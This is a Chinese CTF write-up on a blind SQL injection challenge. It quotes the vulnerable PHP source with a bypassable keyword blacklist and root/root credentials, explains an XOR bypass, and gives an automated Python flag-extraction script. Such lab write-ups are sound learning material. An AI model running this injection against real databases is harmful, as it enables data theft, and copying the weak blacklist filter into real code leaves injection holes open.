点开后就看到首行就有这么明显的提示,答案在flag表的,flag列里
尝试一下,发现除了1,2其他的都被过滤了,没有思路,不过最后在网上找到了,这道题的源码,刺激
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
} //过滤了一堆,只要在黑名单就会报错
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}post穿个参数
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
} 如果不是db对应的值就显示连接mysql错误
mysql_select_db("ctf",$db);//mysql_select_db() 函数设置活动的 MySQL 数据库if(safe($id)){ //如果传入id通过safe方法的验证就可以执行一下的文件查询
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
根据1和2的返回值不同可以,推测是布尔盲注,()没有被过滤,尝试用异或绕过试一试
1^1^1返回值于1相同
1^2^1返回值于2相同
其实在这里就是异或就是起到了or的作用
构造payload:
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
返回值于1相同,接下来就是利用二分法跑脚本找结果了
import requests
import time
url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)